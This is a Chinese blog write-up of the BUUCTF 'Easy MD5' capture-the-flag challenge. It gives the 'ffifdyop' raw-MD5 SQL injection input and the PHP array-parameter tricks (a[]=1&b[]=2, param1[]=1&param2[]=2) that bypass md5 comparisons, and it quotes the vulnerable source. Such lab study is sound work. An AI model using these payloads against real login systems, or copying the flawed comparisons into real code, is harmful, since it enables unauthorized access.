buuctf Easy MD5

buuctf Easy MD5

一开始题目只出现一个查询窗口
并且各种特殊的闭合字符串都无异常
在这里插入图片描述
抓包过后看到提示
在这里插入图片描述Hint: select * from ‘admin’ where password=md5($pass,true)
md5()
将一个字符串进行MD5加密计算
第一个参数string为可选参数,表示待处理的字符串,
第二个参数bool为可选参数,表示为需要的布尔型数值,默认为FALSE;FALSE表示返回32位的十六进制字符串,TRUE表示返回16位的二进制数。

md5()参数漏洞
发现找到ffifdyop字符串会造成漏洞。在本地运行了一下,

<?php
header("Content-Type: text/html; charset=utf-8");
$a='ffifdyop';
echo md5($a,true);
?>
    content: ffifdyop
    hex: 276f722736c95d99e921722cf9ed621c
    raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
    string: 'or'6]!r,b

在这里插入图片描述
输出的是or’6xxxxxx

在数据库语句里就构成了select * from ‘admin’ where password= ''or’6xxxxxx ’ 相当于 password= ‘’ or 1 变成永真式
接着进入levels91.php
源码提示
在这里插入图片描述
数组绕过

levels91.php?a[]=1&b[]=2

又进入levell14.php页面
源码如下

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

postMD5数组绕过

param1[]=1&param2[]=2

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值